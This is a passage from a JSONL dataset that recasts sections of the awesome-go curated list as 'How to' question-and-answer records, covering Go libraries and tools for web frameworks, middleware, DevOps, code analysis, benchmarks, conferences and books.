Gateway.\n- [Gone](https://github.com/gone-io/gone) - A lightweight dependency injection and web framework inspired by Spring.\n- [goravel](https://github.com/goravel/goravel) - A Laravel-inspired web framework with ORM, authentication, queue, task scheduling, and more built-in features.\n- [Goyave](https://github.com/go-goyave/goyave) - Feature-complete REST API framework aimed at clean code and fast development, with powerful built-in functionalities.\n- [Hertz](https://github.com/cloudwego/hertz) - A high-performance and strong-extensibility Go HTTP framework that helps developers build microservices.\n- [hiboot](https://github.com/hidevopsio/hiboot) - hiboot is a high performance web application framework with auto configuration and dependency injection support.\n- [Huma](https://github.com/danielgtaylor/huma/) - Framework for modern REST/GraphQL APIs with built-in OpenAPI 3, generated documentation, and a CLI.\n- [iWF](https://github.com/indeedeng/iwf) - iWF is an all-in-one platform for developing long-running business processes. It offers a convenient abstraction for utilizing databases, ElasticSearch, message queues, durable timers, and more, with a clean, simple, and user-friendly interface.\n- [Lit](https://github.com/jvcoutinho/lit) - Highly performant declarative web framework for Golang, aiming for simplicity and quality of life.\n- [Microservice](https://github.com/claygod/microservice) - The framework for the creation of microservices, written in Golang.\n- [patron](https://github.com/beatlabs/patron) - Patron is a microservice framework following best cloud practices with a focus on productivity.\n- [Pnutmux](https://gitlab.com/fruitygo/pnutmux) - Pnutmux is a powerful Go web framework that uses regex for matching and handling HTTP requests. It offers features such as CORS handling, structured logging, URL parameters extraction, middlewares, and concurrency limiting.\n- [Revel](https://github.com/revel/revel) - High-productivity web fram", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083143"}
{"id": "gh_4568a9376b67", "question": "How to: Middlewares", "question_body": "About avelino/awesome-go", "answer": "#### Actual middlewares\n\n- [client-timing](https://github.com/posener/client-timing) - An HTTP client for Server-Timing header.\n- [CORS](https://github.com/rs/cors) - Easily add CORS capabilities to your API.\n- [echo-middleware](https://github.com/faabiosr/echo-middleware) - Middleware for Echo framework with logging and metrics.\n- [formjson](https://github.com/rs/formjson) - Transparently handle JSON input as a standard form POST.\n- [go-fault](https://github.com/github/go-fault) - Fault injection middleware for Go.\n- [Limiter](https://github.com/ulule/limiter) - Dead simple rate limit middleware for Go.\n- [ln-paywall](https://github.com/philippgille/ln-paywall) - Go middleware for monetizing APIs on a per-request basis with the Lightning Network (Bitcoin).\n- [mid](https://github.com/bobg/mid) - Miscellaneous HTTP middleware features: idiomatic error return from handlers; receive/respond with JSON data; request tracing; and more.\n- [rk-gin](https://github.com/rookie-ninja/rk-gin) - Middleware for Gin framework with logging, metrics, auth, tracing etc.\n- [rk-grpc](https://github.com/rookie-ninja/rk-grpc) - Middleware for gRPC with logging, metrics, auth, tracing etc.\n- [Tollbooth](https://github.com/didip/tollbooth) - Rate limit HTTP request handler.\n- [XFF](https://github.com/sebest/xff) - Handle `X-Forwarded-For` header and friends.\n\n#### Libraries for creating HTTP middlewares\n\n- [alice](https://github.com/justinas/alice) - Painless middleware chaining for Go.\n- [catena](https://github.com/codemodus/catena) - http.Handler wrapper catenation (same API as \"chain\").\n- [chain](https://github.com/codemodus/chain) - Handler wrapper chaining with scoped data (net/context-based \"middleware\").\n- [gores](https://github.com/alioygur/gores) - Go package that handles HTML, JSON, XML and etc. responses. Useful for RESTful APIs.\n- [interpose](https://github.com/carbocation/interpose) - Minimalist net/http middleware for golang.\n- [mediary](https://github.com/HereMobilityDevelopers/mediary) - add interceptors to `http.Client` to allow dumping/shaping/tracing/... of requests/responses.\n- [muxchain](https://github.com/stephens2424/muxchain) - Lightweight middleware for net/http.\n- [negroni](https://github.com/urfave/negroni) - Idiomatic HTTP middleware for Golang.\n- [render](https://github.com/unrolled/render) - Go package for easily rendering JSON, XML, and HTML template responses.\n- [renderer](https://github.com/thedevsaddam/renderer) - Simple, lightweight and faster response (JSON, JSONP, XML, YAML, HTML, File) rendering package for Go.\n- [stats](https://github.com/thoas/stats) - Go middleware that stores various information about your web application.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083156"}
{"id": "gh_2b0b508a0b4c", "question": "How to: WebAssembly", "question_body": "About avelino/awesome-go", "answer": "- [dom](https://github.com/dennwc/dom) - DOM library.\n- [Extism Go SDK](https://github.com/extism/go-sdk) - Universal, cross-language WebAssembly framework for building plug-in systems and polyglot apps.\n- [go-canvas](https://github.com/markfarnan/go-canvas) - Library to use HTML5 Canvas, with all drawing within go code.\n- [tinygo](https://github.com/tinygo-org/tinygo) - Go compiler for small places. Microcontrollers, WebAssembly, and command-line tools. Based on LLVM.\n- [vert](https://github.com/norunners/vert) - Interop between Go and JS values.\n- [wasmbrowsertest](https://github.com/agnivade/wasmbrowsertest) - Run Go WASM tests in your browser.\n- [webapi](https://github.com/gowebapi/webapi) - Bindings for DOM and HTML generated from WebIDL.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083167"}
{"id": "gh_589d944c90c5", "question": "How to: Webhooks Server", "question_body": "About avelino/awesome-go", "answer": "- [webhook](https://github.com/adnanh/webhook) - Tool which allows user to create HTTP endpoints (hooks) that execute commands on the server.\n- [webhooked](https://github.com/42Atomys/webhooked) - A webhook receiver on steroids: handle, secure, format and store a Webhook payload has never been easier.\n- [WebhookX](https://github.com/webhookx-io/webhookx) - A webhooks gateway for message receiving, processing, and reliable delivering.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083172"}
{"id": "gh_1d39a64d7e35", "question": "How to: Workflow Frameworks", "question_body": "About avelino/awesome-go", "answer": "_Libraries for creating Workflows._\n\n- [Cadence-client](https://github.com/uber-go/cadence-client) - A framework for authoring workflows and activities running on top of the Cadence orchestration engine made by Uber.\n- [Dagu](https://github.com/dagu-go/dagu) - No-code workflow executor. it executes DAGs defined in a simple YAML format.\n- [go-dag](https://github.com/rhosocial/go-dag) - A framework developed in Go that manages the execution of workflows described by directed acyclic graphs.\n- [go-taskflow](https://github.com/noneback/go-taskflow) - A taskflow-like General-purpose Task-parallel Programming Framework with integrated visualizer and profiler.\n- [workflow](https://github.com/luno/workflow) - A tech stack agnostic Event Driven Workflow framework.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083179"}
{"id": "gh_bce50327c1ab", "question": "How to: Zero Trust", "question_body": "About avelino/awesome-go", "answer": "_Libraries and tools to implement Zero Trust architectures._\n\n- [Cosign](https://github.com/sigstore/cosign) - Container Signing, Verification and Storage in an OCI registry.\n- [in-toto](https://github.com/in-toto/in-toto-golang) - Go implementation of the in-toto (provides a framework to protect the integrity of the software supply chain) python reference implementation.\n- [OpenZiti](https://github.com/openziti/ziti) - A full, open source zero trust overlay network. Including numerous SDKs for numerous languages such as [golang](https://github.com/openziti/sdk-golang) allowing you to embed zero trust principles directly into your applications. The [OpenZiti Test Kitchen](https://github.com/openziti-test-kitchen) has numerous examples to draw inspiration from including a [zero trust ssh client - zssh](https://github.com/openziti-test-kitchen/zssh)\n- [Spiffe-Vault](https://github.com/philips-labs/spiffe-vault) - Utilizes Spiffe JWT authentication with Hashicorp Vault for secretless authentication.\n- [Spire](https://github.com/spiffe/spire) - SPIRE (the SPIFFE Runtime Environment) is a toolchain of APIs for establishing trust between software systems across a wide variety of hosting platforms.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083186"}
{"id": "gh_f97fad9cd8ca", "question": "How to: Code Analysis", "question_body": "About avelino/awesome-go", "answer": "_Source code analysis tools, also known as Static Application Security Testing (SAST) Tools._\n\n- [apicompat](https://github.com/bradleyfalzon/apicompat) - Checks recent changes to a Go project for backwards incompatible changes.\n- [asty](https://github.com/asty-org/asty) - Converts golang AST to JSON and JSON to AST.\n- [blanket](https://gitlab.com/verygoodsoftwarenotvirus/blanket) - blanket is a tool that helps you catch functions which don't have direct unit tests in your Go packages.\n- [ChainJacking](https://github.com/Checkmarx/chainjacking) - Find which of your Go lang direct GitHub dependencies is susceptible to ChainJacking attack.\n- [Chronos](https://github.com/amit-davidson/Chronos) - Detects race conditions statically\n- [dupl](https://github.com/mibk/dupl) - Tool for code clone detection.\n- [errcheck](https://github.com/kisielk/errcheck) - Errcheck is a program for checking for unchecked errors in Go programs.\n- [fatcontext](https://github.com/Crocmagnon/fatcontext) - Fatcontext detects nested contexts in loops or function literals.\n- [go-checkstyle](https://github.com/qiniu/checkstyle) - checkstyle is a style check tool like java checkstyle. This tool inspired by java checkstyle, golint. The style referred to some points in Go Code Review Comments.\n- [go-cleanarch](https://github.com/roblaszczak/go-cleanarch) - go-cleanarch was created to validate Clean Architecture rules, like a The Dependency Rule and interaction between packages in your Go projects.\n- [go-critic](https://github.com/go-critic/go-critic) - source code linter that brings checks that are currently not implemented in other linters.\n- [go-mod-outdated](https://github.com/psampaz/go-mod-outdated) - An easy way to find outdated dependencies of your Go projects.\n- [goast-viewer](https://github.com/yuroyoro/goast-viewer) - Web based Golang AST visualizer.\n- [goimports](https://pkg.go.dev/golang.org/x/tools/cmd/goimports) - Tool to fix (add, remove) your Go imports automatically.\n- [golang-ifood-sdk](https://github.com/arxdsilva/golang-ifood-sdk) - iFood API SDK.\n- [golangci-lint](https://github.com/golangci/golangci-lint) – A fast Go linters runner. It runs linters in parallel, uses caching, supports `yaml` config, has integrations with all major IDE and has dozens of linters included.\n- [golines](https://github.com/segmentio/golines) - Formatter that automatically shortens long lines in Go code.\n- [GoPlantUML](https://github.com/jfeliu007/goplantuml) - Library and CLI that generates text plantump class diagram containing information about structures and interfaces with the relationship among them.\n- [goreturns](https://github.com/sqs/goreturns) - Adds zero-value return statements to match the func return types.\n- [gostatus](https://github.com/shurcooL/gostatus) - Command line tool, shows the status of repositories that contain Go packages.\n- [lint](https://github.com/surullabs/lint) - Run linters as part of go test.\n- [php-parser](https://github.com/z7zmey/php-parser) - A Parser for PHP written in Go.\n- [revive](https://github.com/mgechev/revive) – ~6x faster, stricter, configurable, extensible, and beautiful drop-in replacement for `golint`.\n- [staticcheck](https://github.com/dominikh/go-tools/tree/master/cmd/staticcheck) - staticcheck is `go vet` on steroids, applying a ton of static analysis checks you might be used to from tools like ReSharper for C#.\n- [testifylint](https://github.com/Antonboom/testifylint) – A linter that checks usage of [github.com/stretchr/testify](https://github.com/stretchr/testify).\n- [tickgit](https://github.com/augmentable-dev/tickgit) - CLI and go package for surfacing code comment TODOs (in any language) and applying a `git blame`to identify the author.\n- [todocheck](https://github.com/preslavmihaylov/todocheck) - Static code analyser which links TODO comments in code with issues in your issue tracker.\n- [unconvert](https://github.com/mdempsky/unconvert) - Remove unnecessary type conversions from Go source.\n- [usestdlibvars](https://github.com/sashamelentyev/usestdlibvars) - A linter that detect the possibility to use variables/constants from the Go standard library.\n- [vacuum](https://github.com/daveshanley/vacuum) - An ultra-super-fast, lightweight OpenAPI linter and quality checking tool.\n- [validate](https://github.com/mccoyst/validate) - Automatically validates struct fields with tags.\n- [wrapcheck](https://github.com/tomarrell/wrapcheck) - A linter to check that errors from external packages are wrapped.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083200"}
{"id": "gh_b8d6f64babf0", "question": "How to: Editor Plugins", "question_body": "About avelino/awesome-go", "answer": "_Plugin for text editors and IDEs._\n\n- [coc-go language server extension for Vim/Neovim](https://github.com/josa42/coc-go) - This plugin adds [gopls](https://github.com/golang/tools/blob/master/gopls/README.md) features to Vim/Neovim.\n- [Go Doc](https://github.com/msyrus/vscode-go-doc) - A Visual Studio Code extension for showing definition in output and generating go doc.\n- [Go plugin for JetBrains IDEs](https://plugins.jetbrains.com/plugin/9568-go) - Go plugin for JetBrains IDEs.\n- [go-mode](https://github.com/dominikh/go-mode.el) - Go mode for GNU/Emacs.\n- [gocode](https://github.com/nsf/gocode) - Autocompletion daemon for the Go programming language.\n- [goimports-reviser](https://github.com/incu6us/goimports-reviser) - Formatting tool for imports.\n- [goprofiling](https://marketplace.visualstudio.com/items?itemName=MaxMedia.go-prof) - This extension adds benchmark profiling support for the Go language to VS Code.\n- [GoSublime](https://github.com/DisposaBoy/GoSublime) - Golang plugin collection for the text editor SublimeText 3 providing code completion and other IDE-like features.\n- [gounit-vim](https://github.com/hexdigest/gounit-vim) - Vim plugin for generating Go tests based on the function's or method's signature.\n- [vim-compiler-go](https://github.com/rjohnsondev/vim-compiler-go) - Vim plugin to highlight syntax errors on save.\n- [vim-go](https://github.com/fatih/vim-go) - Go development plugin for Vim.\n- [vscode-go](https://github.com/golang/vscode-go) - Extension for Visual Studio Code (VS Code) which provides support for the Go language.\n- [Watch](https://github.com/eaburns/Watch) - Runs a command in an acme win on file changes.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083208"}
{"id": "gh_8e551c0153de", "question": "How to: Go Generate Tools", "question_body": "About avelino/awesome-go", "answer": "- [envdoc](https://github.com/g4s8/envdoc) - generate documentation for environment variables from Go source files.\n- [generic](https://github.com/usk81/generic) - flexible data type for Go.\n- [gocontracts](https://github.com/Parquery/gocontracts) - brings design-by-contract to Go by synchronizing the code with the documentation.\n- [godal](https://github.com/mafulong/godal) - Generate orm models corresponding to golang by specifying sql ddl file, which can be used by gorm.\n- [gonerics](https://github.com/bouk/gonerics) - Idiomatic Generics in Go.\n- [gotests](https://github.com/cweill/gotests) - Generate Go tests from your source code.\n- [gounit](https://github.com/hexdigest/gounit) - Generate Go tests using your own templates.\n- [hasgo](https://github.com/DylanMeeus/hasgo) - Generate Haskell inspired functions for your slices.\n- [options-gen](https://github.com/kazhuravlev/options-gen) - Functional options described by Dave Cheney's post \"Functional options for friendly APIs\".\n- [re2dfa](https://gitlab.com/opennota/re2dfa) - Transform regular expressions into finite state machines and output Go source code.\n- [sqlgen](https://github.com/anqiansong/sqlgen) - Generate gorm, xorm, sqlx, bun, sql code from SQL file or DSN.\n- [TOML-to-Go](https://xuri.me/toml-to-go) - Translates TOML into a Go type in the browser instantly.\n- [xgen](https://github.com/xuri/xgen) - XSD (XML Schema Definition) parser and Go/C/Java/Rust/TypeScript code generator.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083216"}
{"id": "gh_373744a3c1ab", "question": "How to: Software Packages", "question_body": "About avelino/awesome-go", "answer": "_Software written in Go._\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083225"}
{"id": "gh_0cce26ae18ba", "question": "How to: DevOps Tools", "question_body": "About avelino/awesome-go", "answer": "- [abbreviate](https://github.com/dnnrly/abbreviate) - abbreviate is a tool turning long strings in to shorter ones with configurable separators, for example to embed branch names in to deployment stack IDs.\n- [alaz](https://github.com/ddosify/alaz) - Effortless, Low-Overhead, eBPF-based Kubernetes Monitoring.\n- [aptly](https://github.com/aptly-dev/aptly) - aptly is a Debian repository management tool.\n- [aurora](https://github.com/xuri/aurora) - Cross-platform web-based Beanstalkd queue server console.\n- [awsenv](https://github.com/soniah/awsenv) - Small binary that loads Amazon (AWS) environment variables for a profile.\n- [Balerter](https://github.com/balerter/balerter) - A self-hosted script-based alerting manager.\n- [Blast](https://github.com/dave/blast) - A simple tool for API load testing and batch jobs.\n- [bombardier](https://github.com/codesenberg/bombardier) - Fast cross-platform HTTP benchmarking tool.\n- [cassowary](https://github.com/rogerwelin/cassowary) - Modern cross-platform HTTP load-testing tool written in Go.\n- [chaosmonkey](https://github.com/Netflix/chaosmonkey) - A resiliency tool that helps applications tolerate random instance failures.\n- [Ddosify](https://github.com/ddosify/ddosify) - High-performance load testing tool, written in Golang.\n- [decompose](https://github.com/s0rg/decompose) - tool to generate and process Docker containers connections graphs.\n- [DepCharge](https://github.com/centerorbit/depcharge) - Helps orchestrating the execution of commands across the many dependencies in larger projects.\n- [dish](https://github.com/thevxn/dish) - A lightweight, remotely configurable monitoring service.\n- [Docker](https://www.docker.com/) - Open platform for distributed applications for developers and sysadmins.\n- [docker-go-mingw](https://github.com/x1unix/docker-go-mingw) - Docker image for building Go binaries for Windows with MinGW toolchain.\n- [docker-volume-backup](https://github.com/offen/docker-volume-backup) - Backup Docker volumes locally or to any S3, WebDAV, Azure Blob Storage, Dropbox or SSH compatible storage.\n- [Dockerfile-Generator](https://github.com/ozankasikci/dockerfile-generator) - A go library and an executable that produces valid Dockerfiles using various input channels.\n- [dogo](https://github.com/liudng/dogo) - Monitoring changes in the source file and automatically compile and run (restart).\n- [drone-jenkins](https://github.com/appleboy/drone-jenkins) - Trigger downstream Jenkins jobs using a binary, docker or Drone CI.\n- [drone-scp](https://github.com/appleboy/drone-scp) - Copy files and artifacts via SSH using a binary, docker or Drone CI.\n- [Dropship](https://github.com/chrismckenzie/dropship) - Tool for deploying code via cdn.\n- [easyssh-proxy](https://github.com/appleboy/easyssh-proxy) - Golang package for easy remote execution through SSH and SCP downloading via `ProxyCommand`.\n- [fac](https://github.com/mkchoi212/fac) - Command-line user interface to fix git merge conflicts.\n- [Flannel](https://github.com/flannel-io/flannel) - Flannel is a network fabric for containers, designed for Kubernetes.\n- [Fleet device management](https://github.com/fleetdm/fleet) - Lightweight, programmable telemetry for servers and workstations.\n- [gaia](https://github.com/gaia-pipeline/gaia) - Build powerful pipelines in any programming language.\n- [ghorg](https://github.com/gabrie30/ghorg) - Quickly clone an entire org/users repositories into one directory - Supports GitHub, GitLab, Gitea, and Bitbucket.\n- [Gitea](https://github.com/go-gitea/gitea) - Fork of Gogs, entirely community driven.\n- [gitea-github-migrator](https://git.jonasfranz.software/JonasFranzDEV/gitea-github-migrator) - Migrate all your GitHub repositories, issues, milestones and labels to your Gitea instance.\n- [go-furnace](https://github.com/go-furnace/go-furnace) - Hosting solution written in Go. Deploy your Application with ease on AWS, GCP or DigitalOcean.\n- [go-rocket-update](https://github.com/mouuff/go-rocket-update) - A simple way to make self updating Go applications - Supports Github and Gitlab.\n- [go-selfupdate](https://github.com/sanbornm/go-selfupdate) - Enable your Go applications to self update.\n- [gobrew](https://github.com/cryptojuice/gobrew) - gobrew lets you easily switch between multiple versions of go.\n- [gobrew](https://github.com/kevincobain2000/gobrew) - Go version manager. Super simple tool to install and manage Go versions. Install go without root. Gobrew doesn't require shell rehash.\n- [godbg](https://github.com/sirnewton01/godbg) - Web-based gdb front-end application.\n- [Gogs](https://gogs.io/) - A Self Hosted Git Service in the Go Programming Language.\n- [goma-gateway](https://github.com/jkaninda/goma-gateway) - A Lightweight API Gateway and Reverse Proxy with declarative config, robust middleware, and support for REST, GraphQL, TCP, UDP, and gRPC.\n- [gonative](https://github.com/inconshreveable/gonative) - Tool which creates a build of Go that can cross compile to all platforms", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083258"}
{"id": "gh_a1652fd61993", "question": "How to: Other Software", "question_body": "About avelino/awesome-go", "answer": "- [Better Go Playground](https://goplay.tools) - Go playground with syntax highlight, code completion and other features.\n- [blocky](https://github.com/0xERR0R/blocky) - Fast and lightweight DNS proxy as ad-blocker for local network with many features.\n- [bluetuith](https://github.com/bluetuith-org/bluetuith) - TUI Bluetooth manager for Linux.\n- [borg](https://github.com/crufter/borg) - Terminal based search engine for bash snippets.\n- [boxed](https://github.com/tejo/boxed) - Dropbox based blog engine.\n- [Chapar](https://github.com/chapar-rest/chapar) - Chapar is a a cross-platform Postman alternative built with go, aims to help developers to test their api endpoints. it support http and grpc protocols.\n- [Cherry](https://github.com/rafael-santiago/cherry) - Tiny webchat server in Go.\n- [Circuit](https://github.com/gocircuit/circuit) - Circuit is a programmable platform-as-a-service (PaaS) and/or Infrastructure-as-a-Service (IaaS), for management, discovery, synchronization and orchestration of services and hosts comprising cloud applications.\n- [Comcast](https://github.com/tylertreat/Comcast) - Simulate bad network connections.\n- [confd](https://github.com/kelseyhightower/confd) - Manage local application configuration files using templates and data from etcd or consul.\n- [crawley](https://github.com/s0rg/crawley) - Web scraper/crawler for cli.\n- [croc](https://github.com/schollz/croc) - Easily and securely send files or folders from one computer to another.\n- [Documize](https://github.com/documize/community) - Modern wiki software that integrates data from SaaS tools.\n- [dp](https://github.com/scryinfo/dp) - Through SDK for data exchange with blockchain, developers can get easy access to DAPP development.\n- [drive](https://github.com/odeke-em/drive) - Google Drive client for the commandline.\n- [Duplicacy](https://github.com/gilbertchen/duplicacy) - A cross-platform network and cloud backup tool based on the idea of lock-free deduplication.\n- [fjira](https://github.com/mk-5/fjira) - A fuzzy-search based terminal UI application for Attlasian Jira\n- [Gebug](https://github.com/moshebe/gebug) - A tool that makes debugging of Dockerized Go applications super easy by enabling Debugger and Hot-Reload features, seamlessly.\n- [gfile](https://github.com/Antonito/gfile) - Securely transfer files between two computers, without any third party, over WebRTC.\n- [Go Package Store](https://github.com/shurcooL/Go-Package-Store) - App that displays updates for the Go packages in your GOPATH.\n- [go-peerflix](https://github.com/Sioro-Neoku/go-peerflix) - Video streaming torrent client.\n- [goblin](https://goblin.run) - Cloud builder for CLI's written in go lang\n- [GoBoy](https://github.com/Humpheh/goboy) - Nintendo Game Boy Color emulator written in Go.\n- [gocc](https://github.com/goccmack/gocc) - Gocc is a compiler kit for Go written in Go.\n- [GoDocTooltip](https://github.com/diankong/GoDocTooltip) - Chrome extension for Go Doc sites, which shows function description as tooltip at function list.\n- [Gokapi](https://github.com/Forceu/gokapi) - Lightweight server to share files, which expire after a set amount of downloads or days. Similar to Firefox Send, but without public upload.\n- [GoLand](https://jetbrains.com/go) - Full featured cross-platform Go IDE.\n- [GoNB](https://github.com/janpfeifer/gonb) - Interactive Go programming with Jupyter Notebooks (also works in VSCode, Binder and Google's Colab).\n- [Gor](https://github.com/buger/gor) - Http traffic replication tool, for replaying traffic from production to stage/dev environments in real-time.\n- [Guora](https://github.com/meloalright/guora) - A self-hosted Quora like web application written in Go.\n- [hoofli](https://github.com/dnnrly/hoofli) - Generate PlantUML diagrams from Chrome or Firefox network inspections.\n- [hotswap](https://github.com/edwingeng/hotswap) - A complete solution to reload your go code without restarting your server, interrupting or blocking any ongoing procedure.\n- [hugo](https://gohugo.io/) - Fast and Modern Static Website Engine.\n- [ide](https://github.com/thestrukture/ide) - Browser accessible IDE. Designed for Go with Go.\n- [joincap](https://github.com/assafmo/joincap) - Command-line utility for merging multiple pcap files together.\n- [JuiceFS](https://github.com/juicedata/juicefs) - Distributed POSIX file system built on top of Redis and AWS S3.\n- [Juju](https://jujucharms.com/) - Cloud-agnostic service deployment and orchestration - supports EC2, Azure, Openstack, MAAS and more.\n- [Layli](https://layli.app) - Draw pretty layout diagrams as code.\n- [Leaps](https://github.com/jeffail/leaps) - Pair programming service using Operational Transforms.\n- [lgo](https://github.com/yunabe/lgo) - Interactive Go programming with Jupyter. It supports code completion, code inspection and 100% Go compatibility.\n- [limetext](https://limetext.github.io) - Lime Text is a powerful and elegant text editor primarily developed in Go that aims to be a Free and open-sourc", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083292"}
{"id": "gh_739601b73663", "question": "How to: Benchmarks", "question_body": "About avelino/awesome-go", "answer": "- [autobench](https://github.com/davecheney/autobench) - Framework to compare the performance between different Go versions.\n- [go-benchmark-app](https://github.com/mrLSD/go-benchmark-app) - Powerful HTTP-benchmark tool mixed with Аb, Wrk, Siege tools. Gathering statistics and various parameters for benchmarks and comparison results.\n- [go-benchmarks](https://github.com/tylertreat/go-benchmarks) - Few miscellaneous Go microbenchmarks. Compare some language features to alternative approaches.\n- [go-http-routing-benchmark](https://github.com/julienschmidt/go-http-routing-benchmark) - Go HTTP request router benchmark and comparison.\n- [go-json-benchmark](https://github.com/zerosnake0/go-json-benchmark) - Go JSON benchmark.\n- [go-ml-benchmarks](https://github.com/nikolaydubina/go-ml-benchmarks) - benchmarks for machine learning inference in Go.\n- [go-web-framework-benchmark](https://github.com/smallnest/go-web-framework-benchmark) - Go web framework benchmark.\n- [go_serialization_benchmarks](https://github.com/alecthomas/go_serialization_benchmarks) - Benchmarks of Go serialization methods.\n- [gocostmodel](https://github.com/PuerkitoBio/gocostmodel) - Benchmarks of common basic operations for the Go language.\n- [golang-benchmarks](https://github.com/SimonWaldherr/golang-benchmarks) - a collection of golang benchmarks.\n- [golang-sql-benchmark](https://github.com/tyler-smith/golang-sql-benchmark) - Collection of benchmarks for popular Go database/SQL utilities.\n- [gospeed](https://github.com/feyeleanor/GoSpeed) - Go micro-benchmarks for calculating the speed of language constructs.\n- [kvbench](https://github.com/jimrobinson/kvbench) - Key/Value database benchmark.\n- [skynet](https://github.com/atemerev/skynet) - Skynet 1M threads microbenchmark.\n- [speedtest-resize](https://github.com/fawick/speedtest-resize) - Compare various Image resize algorithms for the Go language.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083302"}
{"id": "gh_017e3a8d7bd2", "question": "How to: Conferences", "question_body": "About avelino/awesome-go", "answer": "- [GoCon](https://gocon.connpass.com/) - Tokyo, Japan.\n- [GoDays](https://www.godays.io/) - Berlin, Germany.\n- [GoLab](https://golab.io/) - Florence, Italy.\n- [GopherChina](https://gopherchina.org) - Shanghai, China.\n- [GopherCon](https://www.gophercon.com/) - Varied Locations Each Year, USA.\n- [GopherCon Australia](https://gophercon.com.au/) - Sydney, Australia.\n- [GopherCon Brazil](https://gopherconbr.org) - Florianópolis, Brazil.\n- [GopherCon Europe](https://gophercon.eu/) - Berlin, Germany.\n- [GopherCon India](https://gopherconindia.org/) - Pune, India.\n- [GopherCon Israel](https://www.gophercon.org.il/) - Tel Aviv, Israel.\n- [GopherCon Russia](https://www.gophercon-russia.ru) - Moscow, Russia.\n- [GopherCon Singapore](https://gophercon.sg) - Mapletree Business City, Singapore.\n- [GopherCon UK](https://www.gophercon.co.uk/) - London, UK.\n- [GopherCon Vietnam](https://gophercon.vn/) - Ho Chi Minh City, Vietnam.\n- [GoWest Conference](https://www.gowestconf.com/) - Lehi, USA.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083309"}
{"id": "gh_609725a4614d", "question": "How to: E-books for purchase", "question_body": "About avelino/awesome-go", "answer": "- [100 Go Mistakes: How to Avoid Them](https://www.manning.com/books/100-go-mistakes-how-to-avoid-them)\n- [Black Hat Go](https://nostarch.com/blackhatgo) - Go programming for hackers and pentesters.\n- [Build an Orchestrator in Go](https://www.manning.com/books/build-an-orchestrator-in-go)\n- [Continuous Delivery in Go](https://www.manning.com/books/continuous-delivery-in-go) - This practical guide to continuous delivery shows you how to rapidly establish an automated pipeline that will improve your testing, code quality, and final product.\n- [Creative DIY Microcontroller Project With TinyGo and WebAssembly](https://www.packtpub.com/product/creative-diy-microcontroller-projects-with-tinygo-and-webassembly/9781800560208) - An introduction into the TinyGo compiler with projects involving Arduino and WebAssembly.\n- [Effective Go: Elegant, efficient, and testable code](https://www.manning.com/books/effective-go) - Unlock Go’s unique perspective on program design, and start writing simple, maintainable, and testable Go code.\n- [For the Love of Go](https://bitfieldconsulting.com/books/love) - An introductory book for Go beginners.\n- [Go in Practice, Second Edition](https://www.manning.com/books/go-in-practice-second-edition) - Your practical guide on the ins-and-outs of Go development, covering the standard library and the most important tools from Go’s powerful ecosystem.\n- [Know Go: Generics](https://bitfieldconsulting.com/books/generics) - A guide to understanding and using generics in Go.\n- [Lets-Go](https://lets-go.alexedwards.net) - A step-by-step guide to creating fast, secure and maintanable web applications with Go.\n- [Lets-Go-Further](https://lets-go-further.alexedwards.net) - Advanced 